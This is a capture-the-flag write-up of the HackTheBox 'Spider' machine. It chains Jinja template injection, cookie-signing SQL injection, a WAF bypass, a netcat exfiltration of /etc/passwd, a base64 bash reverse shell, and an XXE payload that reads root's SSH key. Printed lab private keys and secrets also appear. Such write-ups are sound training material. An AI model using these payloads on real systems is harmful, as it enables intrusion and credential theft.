Posts HackTheBox - Spider - Write-Up
Post
Cancel

HackTheBox - Spider - Write-Up

Preview Image

Box Statistics

  
NameSpider
Release DateMay 29, 2021
Operating SystemLinux Desktop View
Difficulty\(\color{red} \text{Hard}\)
Difficulty RatingDesktop View
Machine MatrixDesktop View
Base PointsDesktop View
CreatorInfoSecJack

Reconnaissance

Port Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p- -vvv -oA all_ports 10.10.10.243 --min-rate 10000
# Nmap 7.91 scan initiated Wed Oct 13 10:51:50 2021 as: nmap -p- -vvv -oA all_ports --min-rate 10000 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up, received reset ttl 63 (0.090s latency).
Scanned at 2021-10-13 10:51:51 EDT for 7s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Oct 13 10:51:58 2021 -- 1 IP address (1 host up) scanned in 7.54 seconds

┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p80,22 -sC -sV -oA scripts 10.10.10.243
# Nmap 7.91 scan initiated Wed Oct 13 10:53:40 2021 as: nmap -p80,22 -sC -sV -oA scripts 10.10.10.243
Nmap scan report for spider.htb (10.10.10.243)
Host is up (0.087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 500 Internal Server Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 13 10:53:50 2021 -- 1 IP address (1 host up) scanned in 10.53 seconds

User

Browsing to the IP, we get redirected to http://forge.htb, so we put that on our /etc/hosts file.

SSTI on the username

The app allows for registration of new users. Among other things, we can try to see if the site is vulnerable to SSTI.

We can register with {{'2'*3}} as username and as a password.

Desktop View

The site asks us to login with a UUID that is created during registration instead of the username.

Desktop View

Browsing ot the /user page, we see that the site is indeed vulnerable to SSTI and the backend is Twig.

Desktop View

Desktop View Template Decision Tree by Portswigger

Since the process of creating a user, logging in with the UUID created and browsing to the /user page is rather time consuming, I created a python script that can automate the aforementioned process for testing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from requests import post, Session
from re import findall

# proxies = {'http': 'http://127.0.0.1:8080'}

def register(username):
    data = {
        'username': username,
        'confirm_username': username,
        'password': 'a',
        'confirm_password': 'a'
    }
    uuid = findall(r'uuid=(.*?)"', post('http://spider.htb/register', data=data, proxies=proxies, allow_redirects=0).text)[0]
    return uuid

def login(uuid):
    data = {
        'username': uuid,
        'password': 'a',
    }
    session = Session()
    session.post('http://spider.htb/login', data=data, proxies=proxies)
    return session

def user(session):
    resp = findall(r'<input type="text" name="username" readonly value="(.*?)" />', session.get('http://spider.htb/user', proxies=proxies).text)[0]
    return resp

while True:
    name = input('Payload: ')
    try:
        uuid = register(name)
    except:
        print('Crashed on register')
        continue
    try:
        session = login(uuid)
    except:
        print('Crashed on login')
        continue
    try:
        resp = user(session)
    except:
        print('Crashed on user')
        continue
    print(resp)

When trying to register a user containing more than 10 characters, the page does not accept it and throws an error.

Desktop View

Since is bigger than 10 charcters we can register the username.

1
2
3
4
┌──(sarange㉿kali)-[~/Spider]
└─$ python template_injection.py  
Payload:   
&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: &#39;Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(0, 43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;RATELIMIT_ENABLED&#39;: True, &#39;RATELIMIT_DEFAULTS_PER_METHOD&#39;: False, &#39;RATELIMIT_SWALLOW_ERRORS&#39;: False, &#39;RATELIMIT_HEADERS_ENABLED&#39;: False, &#39;RATELIMIT_STORAGE_URL&#39;: &#39;memory://&#39;, &#39;RATELIMIT_STRATEGY&#39;: &#39;fixed-window&#39;, &#39;RATELIMIT_HEADER_RESET&#39;: &#39;X-RateLimit-Reset&#39;, &#39;RATELIMIT_HEADER_REMAINING&#39;: &#39;X-RateLimit-Remaining&#39;, &#39;RATELIMIT_HEADER_LIMIT&#39;: &#39;X-RateLimit-Limit&#39;, &#39;RATELIMIT_HEADER_RETRY_AFTER&#39;: &#39;Retry-After&#39;, &#39;UPLOAD_FOLDER&#39;: &#39;static/uploads&#39;}&gt;

We now have the secret key Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 of the site.

Now that we have the secret key, we can sign any cookie that we want. We can see what the current cookie contains using flask-unsign.

1
2
3
┌──(sarange㉿kali)-[~/Spider]
└─$ flask-unsign --decode --cookie eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjU2MWQ3ZGZiLWIxMDYtNDEwNC05NmMzLTFmNjMyNjRiMmZlZSJ9.YWhuuQ.QJKWKn0cwV3aPQ18WTYMCKSNjmE
{'cart_items': [], 'uuid': '561d7dfb-b106-4104-96c3-1f63264b2fee'}

Since we don’t know any other UUID, we cannot impersonate any other user. We can try, although, to perform an SQLi on the cookie.

1
2
3
4
5
6
7
8
9
10
11
┌──(sarange㉿kali)-[~/Spider]
└─$ python                                                                                                                        
Python 3.9.7 (default, Sep 24 2021, 09:43:00) 
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from flask_unsign import session as s
>>> key='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
>>> s.sign({"cart_items": [], "uuid": "1393bdc1-562d-453c-8cff-2c9bb2729269' UNION SELECT 'a'-- -"}, secret=key)
'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjEzOTNiZGMxLTU2MmQtNDUzYy04Y2ZmLTJjOWJiMjcyOTI2OScgVU5JT04gU0VMRUNUICcxJy0tIC0ifQ.YWh63A.SJBxuq0pArCm2Bw1cR9_sbKUyRE'
>>> s.sign({"cart_items": [], "uuid": "1393bdc1-562d-453c-8cff-2c9bb2729269' UNION SELECT 'a','a'-- -"}, secret=key)
'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjEzOTNiZGMxLTU2MmQtNDUzYy04Y2ZmLTJjOWJiMjcyOTI2OScgVU5JT04gU0VMRUNUICcxJywnMictLSAtIn0.YWh67w.PUg4bzGB3hzZcPRnI1kvVVx2v6o'

Desktop View Desktop View

We can see that the UUID is injectable.

1
2
>>> s.sign({"cart_items": [], "uuid": "' UNION ALL SELECT JSON_ARRAYAGG(CONCAT(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'-- -"}, secret=key)
'.eJwty00KwjAQQOGrDLNJC8YDFFxMw_RHkokkESlSgqiLLtxouxLvrqjbx_ueeD7d5zzN19sDq-O4wmWZLlihgr30XoCshciWTYJt9JIpBBqobQvjxVAqEtWWs5DjsoQmeAe9ND44Sh-do-nY0fo7RTh0HBh-Ig07hg2omuI_Ka1B4-sNLusofQ.YWiEbg.D2W3cc4iHNIBXeOp5w2f2zmsPIA'

Desktop View

The users table seems interesting.

1
2
>>> s.sign({"cart_items": [], "uuid": "' UNION ALL SELECT JSON_ARRAYAGG(CONCAT(id,name,uuid,password)) FROM users-- -"}, secret=key)
'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IicgVU5JT04gQUxMIFNFTEVDVCBKU09OX0FSUkFZQUdHKENPTkNBVChpZCxuYW1lLHV1aWQscGFzc3dvcmQpKSBGUk9NIHVzZXJzLS0gLSJ9.YWiGmg.03DOfP-SwO1OYHUOXMG5wetDiuw'

Desktop View

We can also pass a python script that evalutates to the signed cookie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(sarange㉿kali)-[~/sarange.gitlab.io/assets/2021-10-11-hackthebox-spider]
└─$ sqlmap http://spider.htb/ --eval 'from flask_unsign import session as ses;session = ses.sign({"uuid": session}, secret="Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942")' --cookie="session=*" --dump --delay 1'
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.10#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:52:38 /2021-10-14/

custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
[14:52:38] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[14:52:38] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[14:52:38] [INFO] resuming back-end DBMS 'mysql' 
[14:52:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 1926 FROM (SELECT(SLEEP(5)))CjSr) AND 'GJeT'='GJeT

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x7170707871,0x655a6c70484e63626654786869527647425961675666507370794761636f4e4b766d70737368626f,0x716b626a71)-- -
---
[14:52:40] [INFO] the back-end DBMS is MySQL
[more ouput]
+----+--------------------------------------+------------+--------------------------+
| id | uuid                                 | name       | password                 |
+----+--------------------------------------+------------+--------------------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331          |
[more ouput]

SSTI on admin panel

Logging in as chiv, we get access to an admin panel. Browsing to view?check=messages we can see that there is a page at /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

Desktop View

We can try again to see if the site is vulnerable to SSTI

1
{{ '1'*3 }}

Desktop View

There is some kind of WAF in from of the application that prevents us from having {{ }} on the username. We can also try the {% %} tags and some tags to see if they bypass the WAF.

1
{% if for with %}

Desktop View

The tags bypass the WAF but the keywords if and for do not. We can try to send the /etc/passwd file with the with keyword.

1
{% with a=request["application"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("cat /etc/passwd | nc 10.10.14.85 9000")["read"]() %} a {% endwith %}

Desktop View

We can see that both _ and . are blocked by the WAF also. Since they are used inside a string and we are using python, we can encode them as hex and prepend \x in order for python to convert them into the desirable characters. First, we need to find the hex values of the ascci representation of these letters.

1
2
3
4
5
6
7
8
9
┌──(sarange㉿kali)-[~/Spider]
└─$ python
Python 3.9.7 (default, Sep 24 2021, 09:43:00) 
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(ord('_'))
'0x5f'
>>> hex(ord('.'))
'0x2e'

On the previous payload, we substitute _ with \x5f and . with \x2e.

1
{ % with a=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /etc/passwd | nc 10\x2e10\x2e14\x2e104 9000")["read"]() %} a {% endwith %}

We finally receive the /etc/passwd file on a local netcat that is listening on port 9000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(sarange㉿kali)-[~/Spider]
└─$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.10.243] 40408
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
chiv:x:1000:1000:chiv:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

Now we can try to execute a reverse shell on the remote server. It’s better to encode the payload in base64 in order to not have any WAF or encoding errors.

1
2
3
┌──(sarange㉿kali)-[~/Spider]
└─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.104/4242 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDQvNDI0MiAwPiYxIgo=
1
{% with a=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDQvNDI0MiAwPiYxIgo= | base64 -d | bash")["read"]() %} a {% endwith %}

On a local session, we receive the reverse shell successfully. It is better to get an ssh session to the remote host, so we get the private key of the user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(sarange㉿kali)-[~/Spider]
└─$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.10.243] 43394
bash: cannot set terminal process group (1647): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ cat /home/chiv/.ssh/id_rsa
cat /home/chiv/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----

Root

Finding internaly exposed Web App

If we check the network connections, we see that there is also port 8080 listening on localhost and running as root. We can forward that port to us through ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(sarange㉿kali)-[~/Spider]
└─$ ssh -i chiv.rsa chiv@spider.htb
Last login: Fri May 21 15:02:03 2021 from 10.10.14.7
chiv@spider:~$ ss -antp
State                             Recv-Q                          Send-Q                                                    Local Address:Port                                                    Peer Address:Port                          
LISTEN                            0                               80                                                            127.0.0.1:3306                                                         0.0.0.0:*                             
LISTEN                            0                               128                                                             0.0.0.0:80                                                           0.0.0.0:*                             
LISTEN                            0                               100                                                           127.0.0.1:8080                                                         0.0.0.0:*                             
LISTEN                            0                               128                                                       127.0.0.53%lo:53                                                           0.0.0.0:*                             
LISTEN                            0                               128                                                             0.0.0.0:22                                                           0.0.0.0:*                             
ESTAB                             0                               0                                                             127.0.0.1:36726                                                      127.0.0.1:3306                          
ESTAB                             0                               36                                                         10.10.10.243:22                                                      10.10.14.104:45468                         
TIME-WAIT                         0                               0                                                          10.10.10.243:80                                                      10.10.14.104:59992                         
SYN-SENT                          0                               1                                                          10.10.10.243:45542                                                        1.1.1.1:53                            
ESTAB                             0                               0                                                             127.0.0.1:3306                                                       127.0.0.1:36726                         
LISTEN                            0                               128                                                                [::]:22                                                              [::]:* 

chiv@spider:~$ 
ssh> -L1234:127.0.0.1:8080 
Forwarding port.

XXE on the internal Web App

Browsing to the port, we see a login page that only consists of a username. I put test as a username and the app logs me in with that name.

Desktop View

Inspecting the cookie, we see that the cookie consists of 2 variables, lxml and points. After decoding lxml with base64 we see that it’s and xml (as the name suggested).

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sarange㉿kali)-[~/Spider]
└─$ flask-unsign --decode --cookie .eJxNjE1vgyAAhv_KwnkHdG4Hk14MiKOTBhSw3DSYYf2YqWSzNv3vW5Mt2fHJ87zvFQzrOID4Ch4aEAOJWWrxWvKeKqH9pMZAtzq_NJnpaplGJZkTKwPEK5ErJN4kdns7vm6y8OjHT4VkySGdM3FKzN3f2cABcW0phzgyqTs0hHmmXacCeTbY6nYU2D6ZXuPn5RjCoCa0Uv_-fvdchOuLRpTUIa2aTPG6x1GJ6NIO7xcx-k6FayCJ_fzr-TactXJFnSZTs7k8h3N4PDGx_9rtwO0RzB_d5BcQw9s3hSNV0Q.YWiS2A.4Fe4VmMuyeoQ0GOhGM9etXE7aeg
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}

┌──(sarange㉿kali)-[~/Spider]
└─$ echo -n PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+ | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>test</username>
        <is_admin>0</is_admin>
    </data>
</root>    

If we inspect the request that our browser does to the site while logging in, we see that another variable exists, version.

POST /login HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://127.0.0.1:1234
Connection: close
Referer: http://127.0.0.1:1234/login
Cookie: session=eyJwb2ludHMiOjB9.YWiTRA.cmC3UxyCCyeaj15jkmrI6sL0PbE
Upgrade-Insecure-Requests: 1

username=test&version=1.0.0

Changing the version variable, we see that the xml on the cookie changes to reflect that variable on the version of the xml, without validation.

POST /login HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://127.0.0.1:1234
Connection: close
Referer: http://127.0.0.1:1234/login
Cookie: session=eyJwb2ludHMiOjB9.YWiTRA.cmC3UxyCCyeaj15jkmrI6sL0PbE
Upgrade-Insecure-Requests: 1

username=test1&version=test2
.eJxNjEFPgzAYhv-K6dlDmWIiiRdCC2x-YAttoTewSworjCgJyLL_7nYxHp-8z_tckFsHh4ILemhRgATJqCFryU57ydU8ysFTRwU_baK7RqSLcjYH4k2s4iAj_i6IPZgh3UQxR42gYyGyMKdTwvtQ3_c7a-wipsyeYfKsqc3bOJszZTvpiS9NjDoOnPDSAnj65dY_GOkqUCvTu9fx_58ndqk34je3PlRh1_T8SRDwP2NYc2UbvtGlHs64-PPNTp1MDNSJjMyMbc6v-9QHGo4fJX5D10c0nbtx_kYBvv4CbE9XXg.YWiTpA.C5upaRqupQTWIjFCouG9LtXzEuc
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sarange㉿kali)-[~/Spider]
└─$ flask-unsign --decode --cookie .eJxNjEFPgzAYhv-K6dlDmWIiiRdCC2x-YAttoTewSworjCgJyLL_7nYxHp-8z_tckFsHh4ILemhRgATJqCFryU57ydU8ysFTRwU_baK7RqSLcjYH4k2s4iAj_i6IPZgh3UQxR42gYyGyMKdTwvtQ3_c7a-wipsyeYfKsqc3bOJszZTvpiS9NjDoOnPDSAnj65dY_GOkqUCvTu9fx_58ndqk34je3PlRh1_T8SRDwP2NYc2UbvtGlHs64-PPNTp1MDNSJjMyMbc6v-9QHGo4fJX5D10c0nbtx_kYBvv4CbE9XXg.YWiTpA.C5upaRqupQTWIjFCouG9LtXzEuc
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiB0ZXN0MiAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

┌──(sarange㉿kali)-[~/Spider]
└─$ echo -n PCEtLSBBUEkgVmVyc2lvbiB0ZXN0MiAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDE8L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg== | base64 -d
<!-- API Version test2 -->
<root>
    <data>
        <username>test1</username>
        <is_admin>0</is_admin>
    </data>
</root>  

This is easily exploitable, as we contol a raw variable inside the xml. Below we can see an example target xml that would get the private key of the root user.

1
2
3
4
5
6
7
8
9
<!-- API Version 1.0.0 -->
<!DOCTYPE root [<!ENTITY test SYSTEM "/root/.ssh/id_rsa">]>
<!-- -->
<root>
    <data>
        <username>&test;</username>
        <is_admin>0</is_admin>
    </data>
</root>

We send the following request to the remote server and we get the id_rsa key from root.

POST /login HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://127.0.0.1:1234
Connection: close
Referer: http://127.0.0.1:1234/login
Cookie: session=eyJwb2ludHMiOjB9.YWiTRA.cmC3UxyCCyeaj15jkmrI6sL0PbE
Upgrade-Insecure-Requests: 1

username=%26test%3b&version=1.0.0+--><!DOCTYPE+root+[<!ENTITY+test+SYSTEM+"/root/.ssh/id_rsa">]><!--+

Raw session cookie:

.eJxtzk9PgzAcxvG3Yjh7ABxLXLJLpQWJZfbfr9Ab0CUbFMZ0CYzF9-5M9Ob5-TzJ9-a5uXfe5uY91N7GUzgnFs-SdRlwfRmgD_Re02udmmOlyEomI7IqiFnBKcRsJQCEInhWbgQOMJShH9mex6zPGPNNAskshDNJFdqOB2ZtcP4CxGrpQIBEg9BdtNev151EdC9hXS7ZYHtSqN60dRedhD4FhqCzDQ9ULXev6GQJGurl0NbShQYzX_guZtpmPD18aDiI6mcPbcZ8cvc5Mr7D-5i01Jmo7IPEklHlSfDbw5cdnhYYxkrjMdDQzPV__xS1VLqT7pq5SbJznlrGFjeVC44qMqa0QMeq5W9_3j6ZivvlpOHeF6B4V7gjbbtJJc3zO9tuva9Hbzwdh8unt_G_vgHMW4Di.YWiUgw.APtpDYsB58JefFaDFY8DcwKEqeY

Desktop View

Root’s id_rsa:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgdeO5WZ47tZDYZ+7tXD8Q5tfqmyxq
gsgQskHffuzjq8v/q4aBfm6lQSn47G8foq0gQ1DvuZkWFAATvTjliXuE7gLcItPt
